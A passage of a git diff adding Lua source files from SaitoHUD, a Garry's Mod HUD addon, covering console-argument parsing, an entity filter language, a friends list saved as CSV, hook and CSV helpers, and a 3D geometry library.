SaitoHUD.GEOM.GetBuiltInPoint(id) + + if pt then + result[name] = pt + else + print(string.format("GEOM library: No built-in point by name of '%s'", id)) + return + end + else + wantedNumArgs = 3 + if not cast then cast = Vector end + end + elseif type == SaitoHUD.VAR_CONCMD_GEOM_LINE then + if #args == 0 then + if optional then return result end + print("Insufficient number of arguments") + return + elseif args[1]:sub(1, 1) == "#" then + local id = table.remove(args, 1):Trim():sub(2) + + if SaitoHUD.GEOM.LineSegments[id] then + result[name] = SaitoHUD.GEOM.LineSegments[id] + else + print(string.format("GEOM library: No line segment by name of '%s'", id)) + return + end + elseif args[1]:sub(1, 1) == "$" then + local id = table.remove(args, 1):Trim():sub(2) + local segment = SaitoHUD.GEOM.GetBuiltInLine(id) + + if segment then + result[name] = segment + else + print(string.format("GEOM library: No built-in line segment by name of '%s'", id)) + return + end + else + print("GEOM library: Line segments must specified by name") + return + end + elseif type == SaitoHUD.VAR_CONCMD_ENTITY then + if #args == 0 then + if not param.ImplicitTrace then + if optional then return result end + print("Insufficient number of arguments") + return + end + + local tr = SaitoHUD.GetRefTrace() + if IsValid(tr.Entity) or optional then + result[name] = tr.Entity + else + print("No entity in trace") + return + end + elseif args[1]:sub(1, 1) == "#" then + local id = tonumber(table.remove(args, 1):Trim():sub(2)) + + if not id then + print("Entity ID required") + return + else + local ent = ents.GetByIndex(id) + if IsValid(ent) then + result[name] = ent + else + print(string.format("Unknown entity with ID %d", id)) + return + end + end + elseif args[1]:sub(1, 1) == "$" then + local id = table.remove(args, 1):Trim():sub(2) + + if id == "trace" then + local tr = SaitoHUD.GetRefTrace() + result[name] = tr.Entity + else + print(string.format("No built-in entity by name of '%s'", id)) + return + end + else + print("Unknown entity argument") + return + end + elseif type ~= nil then + Error("ParseVarConcmd() got an unknown type: " .. type) + end + + if not result[name] then + -- No splitting by commas here + if wantedNumArgs == 1 then + -- Not enough arguments? + if #args == 0 then + if optional then return result end + print("Insufficient number of arguments") + return + end + + result[name] = table.remove(args, 1) + + if cast then result[name] = cast(result[name]) end + else + local extracted = {} + + while wantedNumArgs > #extracted do + -- Not enough arguments? + if #args == 0 then + if optional then return result end + print("Insufficient number of arguments") + return + end + + local res = string.Explode(",", table.remove(args, 1)) + for _, r in pairs(RemoveEmptyEntries(res)) do + table.insert(extracted, r) + end + end + + if #extracted > wantedNumArgs then + print("Too many arguments") + return + end + + result[name] = extracted + + if cast then result[name] = cast(unpack(extracted)) end + end + end + end + + if #args > maxLeftOver then + print("Too many arguments") + return + end + + return result +end \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/filters.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/filters.lua new file mode 100644 index 0000000..98c8460 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/filters.lua @@ -0,0 +1,351 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id: filters.lua 184 2010-08-12 08:15:40Z the.sk89q $ + +local FilterContext = {} + +--- Builds a new instance of a filter context +-- @param filterDef Filter definition table +-- @param tokens List of original tokens to produce the definition +-- @param filterFunc Function to filter with +function FilterContext:new(filterDef, tokens, filterFunc) + local instance = { + ["filterDef"] = filterDef, + ["tokens"] = tokens, + ["f"] = filterFunc, + } + + setmetatable(instance, self) + self.__index = self + return instance +end + +--- Creates a filter that will match nothing +-- @return Instance of FilterContext +function FilterContext.nullFilter() + return FilterContext:new({}, {}, function() return false end) +end + +--- Creates a filter that match anything +-- @return Instance of FilterContext +function FilterContext.universalFilter() + return FilterContext:new({}, {"*"}, function() return true end) +end + +local entityFilter = {} + +-- Directive names and the number of arguments that each directive takes +entityFilter.directives = { + ["mindist"] = 1, + ["maxdist"] = 1, + ["model"] = 1, + ["material"] = 1, + ["class"] = 1, + ["id"] = 1, + ["name"] = 1, +} + +entityFilter.aliases = { + ["min"] = "mindist", + ["max"] = "maxdist", + ["mdl"] = "model", + ["mat"] = "material", + ["cls"] = "class", + ["nam"] = "name", +} + +--- Helper method to build a list element of a filter definition +-- @param filterDef Filter definition table +-- @param key Key of list +-- @param item Value to update +function entityFilter.UpdateFilterDefList(filterDef, key, item) + if item:sub(1, 1) == "-" then -- Blacklist + key = key .. "Blacklist" + item = item:sub(2) + if not filterDef[key] then filterDef[key] = {} end + if item != "*" then + table.insert(filterDef[key], item) + end + else -- Whitelist + if not filterDef[key] then filterDef[key] = {} end + if item != "*" then + table.insert(filterDef[key], item) + end + end +end + +--- Builds a filter context. Note that this will modify the table of tokens, +-- and so a copy should be made if you wish to keep the original. +-- @param tokens List of filter arguments +-- @return Filter context +function entityFilter.Build(tokens, nilForNull) + local ORBranches = {} + local ANDBranches = {} + local filterDef = {} + local i = 1 + + if #tokens == 0 or tokens[1] == "" then + print("Matching no entities") + if nilForNull then + return nil + end + return FilterContext.nullFilter() + elseif #tokens == 1 and tokens[1] == "*" then + print("Matching all entities") + return FilterContext.universalFilter() + end + + while i <= #tokens do + local token = tokens[i] + local directive = nil + + -- Handle touching paranthesis + if token:sub(1, 1) == "(" and token ~= "(" then + table.insert(tokens, i + 1, token:sub(2)) + tokens[i] = "(" + elseif token:sub(-1) == ")" and token ~= ")" then + table.insert(tokens, i, token:sub(1, -2)) + tokens[i + 1] = "(" + end + + if token == "*" then + Error("Unexpected *") + elseif token:sub(1, 1) == "@" then + directive = token:sub(2):lower() + elseif token:lower() == "and" then + if i == #tokens then + Error("Missing condition(s) after explicit AND") + elseif i == 1 then + Error("Expression starts with an explicit AND") + elseif tokens[i + 1]:lower() == "or" then + Error("Two logic operators togthether") + end + elseif token:lower() == "or" then + -- Collect the later tokens and add this to an OR branch + local moreTokens = {} + for k = i + 1, #tokens do + table.insert(moreTokens, tokens[k]) + end + if #moreTokens == 0 then + Error("Missing condition(s) after OR") + end + table.insert(ORBranches, entityFilter.Build(moreTokens, false).f) + break + elseif token == "(" then + -- Collect the tokens within the parenthesis + local moreTokens = {} + local depth = 0 + for k = i + 1, #tokens do + if tokens[k] == "(" then + depth = depth + 1 + elseif tokens[k] == ")" then + if depth == 0 then + i = k + break + else + depth = depth - 1 + end + else + table.insert(moreTokens, tokens[k]) + end + end + table.insert(ANDBranches, entityFilter.Build(moreTokens, false).f) + elseif token == ")" then + Error("Parenthesis mismatch") + else + local a, b = string.match(token, "^([^:]+)=(.*)$") + if a ~= nil then + directive = a + tokens[i] = b + i = i - 1 -- We added a token unexpectedly + else + directive = "class" + i = i - 1 -- We added a token unexpectedly + end + end + + if directive ~= nil then + if entityFilter.aliases[directive] then + directive = entityFilter.aliases[directive] + end + + if entityFilter.directives[directive] then + local reqArgCount = entityFilter.directives[directive] + + if #tokens - i >= reqArgCount then + if directive == "mindist" then + filterDef.minDist = tonumber(tokens[i + 1]) + elseif directive == "maxdist" then + filterDef.maxDist = tonumber(tokens[i + 1]) + elseif directive == "id" then + entityFilter.UpdateFilterDefList(filterDef, "id", tokens[i + 1]) + elseif directive == "model" then + entityFilter.UpdateFilterDefList(filterDef, "model", tokens[i + 1]) + elseif directive == "material" then + entityFilter.UpdateFilterDefList(filterDef, "material", tokens[i + 1]) + elseif directive == "class" then + entityFilter.UpdateFilterDefList(filterDef, "cls", tokens[i + 1]) + elseif directive == "name" then + entityFilter.UpdateFilterDefList(filterDef, "name", tokens[i + 1]) + end + + i = i + reqArgCount + else + Error(string.format("Insufficient number of tokenuments for %s (%d required)", + directive, reqArgCount)) + end + else + Error("Unknown directive: " .. directive) + end + end + + i = i + 1 + end + + -- Now obsolete + -- for k, v in pairs(filterDef) do + -- if type(v) == "table" then + -- print(k .. ":") + -- for k, v in pairs(v) do + -- print("- " .. v) + -- end + -- else + -- print(k .. ": " .. v) + -- end + -- end + + local satisfiesList = entityFilter.SatisfiesListSubstring + + local filterFunc = function(ent, refPos) + for _, f in pairs(ANDBranches) do + if not f(ent, refPos) then return false end + end + + local id = ent:EntIndex() + local cls = ent:GetClass() + local model = ent:GetModel() + local material = ent:GetMaterial() + local pos = ent:GetPos() + + local name = "" + if ent:IsPlayer() then + name = ent:GetName() + end + + if pos and refPos then + local distance = pos:Distance(refPos) + + if filterDef.minDist and distance < filterDef.minDist then + return false + end + + if filterDef.maxDist and distance > filterDef.maxDist then + return false + end + end + + if not satisfiesList(filterDef.id, tostring(id), false, true) then return false end + if not satisfiesList(filterDef.cls, cls) then return false end + if not satisfiesList(filterDef.name, name) then return false end + if not satisfiesList(filterDef.model, model) then return false end + if not satisfiesList(filterDef.material, material) then return false end + + if satisfiesList(filterDef.idBlacklist, id, true, true) then return false end + if satisfiesList(filterDef.clsBlacklist, cls, true) then return false end + if satisfiesList(filterDef.nameBlacklist, name, true) then return false end + if satisfiesList(filterDef.modelBlacklist, model, true) then return false end + if satisfiesList(filterDef.materialBlacklist, material, true) then return false end + + return true + end + + -- We have OR branches + if #ORBranches > 0 then + local newFilterFunc = function(ent, refPos) + if filterFunc(ent, refPos) then return true end + for _, f in pairs(ORBranches) do + if f(ent, refPos) then return true end + end + + return false + end + + return FilterContext:new(filterDef, tokens, newFilterFunc) + else + return FilterContext:new(filterDef, tokens, filterFunc) + end +end + +--- Helper method for the filter function to check whether a string is +-- a substring of any item in a list +-- @param lst Whitelist +-- @param v Item to check +function entityFilter.SatisfiesListSubstring(lst, v, isBlacklist, strict) + if lst == nil then + if isBlacklist then + return false + else + return true + end + end + + if not v or v == "" then + return false + end + + if #lst == 0 and v then + return true + end + + if not strict then + if isBlacklist then + for _, test in pairs(lst) do + if v:lower():find(test:lower()) then -- TODO: Possibly lowercase text beforehand + return true + end + end + return false + else + for _, test in pairs(lst) do + if not v:lower():find(test:lower()) then -- TODO: Possibly lowercase text beforehand + return false + end + end + return true + end + else + if isBlacklist then + for _, test in pairs(lst) do + if v == test then -- TODO: Possibly lowercase text beforehand + return true + end + end + return false + else + for _, test in pairs(lst) do + if v != test then -- TODO: Possibly lowercase text beforehand + return false + end + end + return true + end + end +end + +SaitoHUD.FilterContext = FilterContext +SaitoHUD.entityFilter = entityFilter \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/friends.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/friends.lua new file mode 100644 index 0000000..22a4ccf --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/friends.lua @@ -0,0 +1,109 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local useSteamFriends = CreateClientConVar("friends_use_steam", "1", true, false) +local friendColor = CreateClientConVar("friend_color", "255,255,0", true, false) + +local friendIDs = {} +local lastFriendColor = "" +local friendColorObj = Color(255, 255, 0) + +--- Load the list of friends from disk. +function SaitoHUD.LoadFriends() + friendIDs = {} + + local data = SaitoHUD.LoadCSV("saitohud/friends.txt", {"Nickname", "SteamID"}) + + for _, v in pairs(data) do + local id = "STEAM_" .. v[2]:gsub("(STEAM_)", ""):upper():Trim() + friendIDs[id] = { + Nickname = v[1], + Color = Color(tonumber(v[3]), tonumber(v[4]), tonumber(v[5]), 255), + } + end +end + +--- Write the list of friends to disk. +function SaitoHUD.WriteFriends() + local data = {{"Nickname", "SteamID", "R", "G", "B"}} + + for steamID, info in pairs(friendIDs) do + table.insert(data, {info.Nickname, steamID, info.Color.r, info.Color.g, info.Color.b}) + end + + return file.Write("saitohud/friends.txt", SaitoHUD.WriteCSV(data), "DATA") +end + +--- Add a friend to the friends list. +-- @param ply Player or Steam ID +-- @param nickname Nickname +-- @param color Color +function SaitoHUD.AddFriend(ply, nickname, color) + if type(ply) == "Player" then + ply = ply:SteamID() + end + + color.a = 255 + + friendIDs[ply] = { + Nickname = nickname, + Color = color, + } +end + +--- Remove a friend from the friends list. +-- @param ply Player or Steam ID +function SaitoHUD.RemoveFriend(ply) + if type(ply) == "Player" then + ply = ply:SteamID() + end + + friendIDs[ply] = nil +end + +--- Returns whether a user is a friend. This may return true if the player is +-- a steam friend, depending on the user's settings. +-- @param ply Player +-- @return Boolean +function SaitoHUD.IsFriend(ply) + if friendIDs[ply:SteamID()] then return true end + return useSteamFriends:GetBool() and ply:GetFriendStatus() == "friend" +end + +--- Used to get the generic friend color for Steam friends. +-- @return Color +local function GetGenericFriendColor() + if lastFriendColor ~= friendColor:GetString() then + local c = string.Explode(",", friendColor:GetString()) + friendColorObj = Color(tonumber(c[1]) or 0, tonumber(c[2]) or 0, tonumber(c[3]) or 0) + lastFriendColor = friendColor:GetString() + end + + return friendColorObj +end + +--- Get a friend's color. May return generic color for Steam friends. +-- @param ply Player +-- @return Color +function SaitoHUD.GetFriendColor(ply) + if friendIDs[ply:SteamID()] then return friendIDs[ply:SteamID()].Color end + return GetGenericFriendColor() +end + +SaitoHUD.LoadFriends() \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/functions.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/functions.lua new file mode 100644 index 0000000..836aa60 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/functions.lua @@ -0,0 +1,457 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +--- Makes a psuedo class. +-- @return Table +function SaitoHUD.MakeClass(base) + local t = {} + + setmetatable(t, { + __call = function(self, ...) + local arg = {...} + local instance = {} + setmetatable(instance, {__index = t, __tostring = t.__tostring}) + if t.Initialize then instance:Initialize(unpack(arg)) end + return instance + end, + __index = base + }) + + return t +end + +--- Create hooks based on a cvar. +-- @param name Name of cvar +-- @param id ID of hook +-- @param hooks List of hooks +function SaitoHUD.HookOnCvar(name, id, hooks, checkAUT) + local rehook = function() + local enabled = false + + if type(name) == 'table' then + for _, v in pairs(name) do + enabled = GetConVar(v):GetBool() + if enabled then break end + end + else + enabled = GetConVar(name):GetBool() + end + + if checkAUT and SaitoHUD.AntiUnfairTriggered() then + enabled = false + end + + if enabled then + for h, f in pairs(hooks) do + hook.Add(h, id, f) + end + else + for h, f in pairs(hooks) do + pcall(hook.Remove, h, id) + end + end + end + + name = type(name) == 'table' and name or { name } + + for _, v in pairs(name) do + cvars.AddChangeCallback(v, rehook) + end + + rehook() +end + +--- Create hooks if a value is true. +-- @param enabled Hook or not +-- @param id ID of hook +-- @param hooks List of hooks +function SaitoHUD.HookIfTrue(enabled, id, hooks, checkAUT) + if checkAUT and SaitoHUD.AntiUnfairTriggered() then + enabled = false + end + + if enabled then + for h, f in pairs(hooks) do + hook.Add(h, id, f) + end + else + for h, f in pairs(hooks) do + pcall(hook.Remove, h, id) + end + end +end + +--- Safely remove a hook. +-- @param name Name of hook +function SaitoHUD.RemoveHook(name, id) + local ret = nil + local hooks = hook.GetTable()[name] + + if hooks ~= nil then + hook.Remove(name, id) + end +end + +--- Gets the number of hooks registered. +-- @param name Name of hook +-- @return Number of hooks +function SaitoHUD.CountHooks(name) + local ret = nil + local hooks = hook.GetTable()[name] + + if hooks ~= nil then + local count = 0 + for _, _ in pairs(hooks) do count = count + 1 end + + return count + else + return 0 + end +end + +--- Calls a hook registered by hook.Add. +-- Unlike hook.Call, this function return the last non-nil result, or nil if +-- there was none. +-- @param name Name of hook +-- @param args Arguments +-- @return Last result +function SaitoHUD.CallHookLast(name, ...) + local ret = nil + local hooks = hook.GetTable()[name] + + if hooks ~= nil then + for _, f in pairs(hooks) do + local result = f(unpack(arg)) + if result ~= nil then + ret = result + end + end + end + + return ret +end + +--- Calls a hook registered by hook.Add. +-- Unlike hook.Call, this function will collect non-nil values that are returned +-- by the hooks into a table, and then return this table. If there are no hooks +-- registered, then a table with 0 elements will be returned. +-- @param name Name of hook +-- @param args Arguments +-- @return Table of results +function SaitoHUD.CallHookAggregate(name, ...) + local results = {} + local hooks = hook.GetTable()[name] + + if hooks ~= nil then + for _, f in pairs(hooks) do + local result = f(unpack(arg)) + if result ~= nil then + table.insert(results, result) + end + end + end + + return results +end + +--- Calls a hook registered by hook.Add. +-- Unlike hook.Call, this function will collect non-nil table values and merge +-- the tables into one final table. +-- @param name Name of hook +-- @param args Arguments +-- @return Table of results +function SaitoHUD.CallHookCombined(name, ...) + local results = {} + local hooks = hook.GetTable()[name] + + if hooks ~= nil then + for _, f in pairs(hooks) do + local result = f(unpack(arg)) + if result ~= nil and type(result) == 'table' then + table.Add(results, result) + end + end + end + + return results +end + +--- Parses a CSV file. +-- @param data Data to parse +-- @return Table of rows +function SaitoHUD.ParseCSV(data) + if data == nil then return {} end + if data:Trim() == "" then return {} end + + local lines = string.Explode("\n", data:gsub("\r", "")) + local result = {} + + for i, line in pairs(lines) do + local line = line:Trim() + + if line ~= "" then + local buffer = "" + local escaped = false + local inQuote = false + local fields = {} + + for c = 1, #line do + local char = line:sub(c, c) + if escaped then + buffer = buffer .. char + escaped = false + else + if char == "\\" then + escaped = true + elseif char == "\"" then + inQuote = not inQuote + elseif char == "," then + if inQuote then + buffer = buffer .. char + else + table.insert(fields, buffer) + buffer = "" + end + else + buffer = buffer .. char + end + end + end + + table.insert(fields, buffer) + table.insert(result, fields) + end + end + + return result +end + +--- Write CSV data. +-- @param data +-- @return CSV +function SaitoHUD.WriteCSV(data) + local output = "" + + for _, v in pairs(data) do + local line = "" + for _, p in pairs(v) do + if type(p) == 'boolean' then + line = line .. ",\"" .. (p and "true" or "false") .. "\"" + else + line = line .. ",\"" .. tostring(p):gsub("[\"\\]", "\\%1") .. "\"" + end + end + + output = output .. "\n" .. line:sub(2) + end + + return output:sub(2) +end + +--- Shortcut function to load a CSV file from disk and drop the header row. +-- If the file doesn't exist or it's blank, an empty table will be returned. +-- @param path +-- @param headers List of headers to drop, in order +-- @return Table with entries +function SaitoHUD.LoadCSV(path, headers) + headers = headers or {} + + local data = file.Read(path, "DATA") + if data == nil or data == "" then return {} end + + data = SaitoHUD.ParseCSV(data) + if #data == 0 then return {} end + + -- Remove headers + local dropFirstRow = false + for k, v in pairs(headers) do + if data[1][k] == v then + dropFirstRow = true + else + dropFirstRow = false + break + end + end + + if dropFirstRow then table.remove(data, 1) end + + return data +end + +--- Function to autocomplete console commands with player names. +-- @param cmd +-- @param args +function SaitoHUD.ConsoleAutocompletePlayer(cmd, args) + local testName = args or "" + if testName:len() > 0 then + testName = testName:Trim() + end + local testNameLength = testName:len() + local names = {} + + for _, ply in pairs(player.GetAll()) do + local name = ply:GetName() + if name:len() >= testNameLength and + name:sub(1, testNameLength):lower() == testName:lower() then + if name:find(" ") or name:find("\"") then + name = "\"" .. name:gsub("\"", "\\\"") .. "\"" + end + table.insert(names, cmd .. " " .. name) + end + end + + return names +end + +--- Tries to parse a vector from console command arguments. +-- @param args Arguments +-- @param skip Number of initial arguments to ignore +function SaitoHUD.ParseConcmdVector(args, skip, ang) + if skip == nil then skip = 0 end + local x, y, z + + if #args - skip == 1 then + local r = string.Explode(",", args[1 + skip]) + if r[3] == nil then return nil end + x = tonumber(r[1]) + y = tonumber(r[2]) + z = tonumber(r[3]) + elseif #args - skip == 3 then + x = args[1 + skip]:gsub(",", "") + y = args[2 + skip]:gsub(",", "") + z = args[3 + skip]:gsub(",", "") + x = tonumber(x) + y = tonumber(y) + z = tonumber(z) + else + return nil + end + + if x ~= nil and y ~= nil and z ~= nil then + return ang and Angle(x, y, z) or Vector(x, y, z) + else + return nil + end +end + +--- Tries to parse an angle from console command arguments. +-- @param args Arguments +-- @param skip Number of initial arguments to ignore +function SaitoHUD.ParseConcmdAngle(args, skip) + return SaitoHUD.ParseConcmdVector(args, skip, true) +end + +--- Parses a string into a table, as if it were a console command. +-- @params str +-- @return The table +function SaitoHUD.ParseCommand(str) + local quoted = false + local escaped = false + local result = {} + local buf = "" + for c = 1, #str do + local char = str:sub(c, c) + if escaped then + buf = buf .. char + escaped = false + elseif char == "\"" and quoted then + quoted = false + table.insert(result, buf) + buf = "" + elseif char == "\"" and buf == "" then + quoted = true + elseif char == " " and not quoted then + if buf ~= "" then + table.insert(result, buf) + buf = "" + end + else + buf = buf .. char + end + end + if buf ~= "" then + table.insert(result, buf) + end + return result +end + +--- Draws the bounding box of an entity. +-- @param ent Entity to draw bounding box for +-- @param color Color to draw the bounding box in +function SaitoHUD.DrawBBox(ent, color) + local obbMin = ent:OBBMins() + local obbMax = ent:OBBMaxs() + + local p = { + ent:LocalToWorld(Vector(obbMin.x, obbMin.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMin.x, obbMax.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMax.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMin.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMin.x, obbMin.y, obbMax.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMin.x, obbMax.y, obbMax.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMax.y, obbMax.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMin.y, obbMax.z)):ToScreen(), + } + + local front = ent:LocalToWorld(Vector(0, 0, 40)):ToScreen() + local front2 = ent:LocalToWorld(Vector(50, 0, 40)):ToScreen() + + -- Odd things happen if not all the points are visible + local visible = true + for i = 1, 8 do + if not p[i].visible then + visible = false + break + end + end + + if visible then + local r, g, b, a = color + surface.SetDrawColor(r, g, b, a) + + -- Bottom + surface.DrawLine(p[1].x, p[1].y, p[2].x, p[2].y) + surface.DrawLine(p[2].x, p[2].y, p[3].x, p[3].y) + surface.DrawLine(p[3].x, p[3].y, p[4].x, p[4].y) + surface.DrawLine(p[4].x, p[4].y, p[1].x, p[1].y) + -- Top + surface.DrawLine(p[5].x, p[5].y, p[6].x, p[6].y) + surface.DrawLine(p[6].x, p[6].y, p[7].x, p[7].y) + surface.DrawLine(p[7].x, p[7].y, p[8].x, p[8].y) + surface.DrawLine(p[8].x, p[8].y, p[5].x, p[5].y) + -- Sides + surface.DrawLine(p[1].x, p[1].y, p[5].x, p[5].y) + surface.DrawLine(p[2].x, p[2].y, p[6].x, p[6].y) + surface.DrawLine(p[3].x, p[3].y, p[7].x, p[7].y) + surface.DrawLine(p[4].x, p[4].y, p[8].x, p[8].y) + -- Bottom + --surface.DrawLine(p[1].x, p[1].y, p[3].x, p[3].y) + end +end + +--- Draws a 2D line in 3D-space. This must be called within a cam.Start3D +-- section. +-- @param p1 Start +-- @param p2 End +function SaitoHUD.Draw3D2DLine(p1, p2) + -- Draw the line + cam.Start3D2D(p1, (p2 - p1):Angle(), 1) + surface.DrawLine(0, 0, p1:Distance(p2), 0) + cam.End3D2D() +end \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/geom.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/geom.lua new file mode 100644 index 0000000..792b29c --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/geom.lua @@ -0,0 +1,205 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local subclassVector = CreateClientConVar("geom_subclass_vector", "0", true, false) + +local GEOM = {} +SaitoHUD.GEOM = GEOM + +GEOM.Points = {} +GEOM.Lines = {} +GEOM.Planes = {} +GEOM.Angles = {} + +--- Makes a dynamic vector class that will update its value every tick +-- (if needed). This is used for vectors local to an entity, so that they can +-- stay up to date. +-- @param constructorFunc Function to construct the object with +-- @param updateFunc Function that should return a new Vector or nil +-- @return Class table (with a __call) +function GEOM.MakeDynamicVectorType() + local v = {} + local mt = { + __call = function(t, ...) + local arg = {...} + + local instance = {} + instance._CachedVector = Vector(0, 0, 0) + instance._LastUpdate = 0 + instance._Update = function(self) + if CurTime() - self._LastUpdate ~= 0 then + local vec = v.Update(self) + if vec then self._CachedVector = vec end + end + end + + local mt = {} + mt.__index = function(t, key) + t:_Update() + local r = t._CachedVector[key] + if type(r) == 'function' then + return function(self, ...) + local arg = {...} + return self._CachedVector[key](self._CachedVector, unpack(arg)) + end + end + return r + end + mt.__add = function(a, b) return a._CachedVector.__add(a, b) end + mt.__sub = function(a, b) return a._CachedVector.__sub(a, b) end + mt.__mul = function(a, b) return a._CachedVector.__mul(a, b) end + mt.__div = function(a, b) return a._CachedVector.__div(a, b) end + mt.__mod = function(a, b) return a._CachedVector.__mod(a, b) end + mt.__pow = function(a, b) return a._CachedVector.__pow(a, b) end + + setmetatable(instance, mt) + + v.Initialize(instance, unpack(arg)) + return instance + end + } + setmetatable(v, mt) + return v +end + +--- Overrides the Vector object so that dynamic vectors can work seamlessly. +local function OverrideVectorForDynamic() + if not g_GEOMOrigVector then g_GEOMOrigVector = {} end + + local keys = { + 'Cross', 'Distance', 'Dot', 'DotProduct', '__add', '__sub', '__mul', + '__div', '__mod', '__pow' + } + + local vecMt = FindMetaTable("Vector") + + for _, key in pairs(keys) do + if not g_GEOMOrigVector[key] then + g_GEOMOrigVector[key] = vecMt[key] + end + + vecMt[key] = function(self, ...) + local arg = {...} + if type(self) == 'table' and self._CachedVector then + self = self._CachedVector + end + if type(arg[1]) == 'table' and arg[1]._CachedVector then + arg[1] = arg[1]._CachedVector + end + return g_GEOMOrigVector[key](self, unpack(arg)) + end + end + + MsgN("Vector subclassed for seamless GOEM functionality") +end + +GEOM.EntityRelVector = GEOM.MakeDynamicVectorType() + +--- Construct a vector that is relative to an entity. +-- @param x +-- @param y +-- @param z +-- @param ent Entity +function GEOM.EntityRelVector:Initialize(x, y, z, ent) + self.LocalVector = ent:WorldToLocal(Vector(x, y, z)) + self.Entity = ent +end + +--- Updates the vector. +-- @return Vector +function GEOM.EntityRelVector:Update() + if IsValid(self.Entity) then + return self.Entity:LocalToWorld(self.LocalVector) + end +end + +GEOM.Ray = SaitoHUD.MakeClass() + +--- Creates a ray (point and direction). +-- @param +function GEOM.Ray:Initialize(pt1, pt2) + self.pt1 = pt1 + self.pt2 = pt2 +end + +GEOM.Line = SaitoHUD.MakeClass() + +--- Creates a line. +-- @param +function GEOM.Line:Initialize(pt1, pt2) + self.pt1 = pt1 + self.pt2 = pt2 +end + +function GEOM.Line:__tostring() + return tostring(self.pt1) .. " -> " .. tostring(self.pt2) +end + +--- Used to get a built-in point. +-- @param key Key +-- @return Vector or nil +function GEOM.GetBuiltInPoint(key) + key = key:lower() + if key == "me" then + return SaitoHUD.GetRefPos() + elseif key == "trace" then + local tr = SaitoHUD.GetRefTrace() + return tr.HitPos + end +end + +--- Used to get a built-in line. +-- @param key Key +-- @return Line or nil +function GEOM.GetBuiltInLine(key) +end + +function GEOM.SetPoint(key, v) + GEOM.Points[key] = v +end + +function GEOM.SetLine(key, v) + GEOM.Lines[key] = v +end + +function GEOM.SetPlane(key, v) + GEOM.Planes[key] = v +end + +function GEOM.SetAngle(key, v) + if type(v) == "Angle" then v = v:Forward() end + GEOM.Angles[key] = v +end + +--- Returns the projection of a point onto a line segment in 3D space. +-- @param line +-- @param point +-- @return Distance +function GEOM.PointLineSegmentProjection(pt, line) + local a = line.pt1:Distance(line.pt1)^2 + if a == 0 then return line.pt1 end + local b = (pt - line.pt1):Dot(line.pt2 - line.pt1) / a + if b < 0 then return line.pt1 end + if b > 1 then return line.pt2 end + return line.pt1 + b * (line.pt2 - line.pt1) +end + +if subclassVector:GetBool() then + OverrideVectorForDynamic() +end \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/init.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/init.lua new file mode 100644 index 0000000..d1501ae --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/init.lua @@ -0,0 +1,126 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- 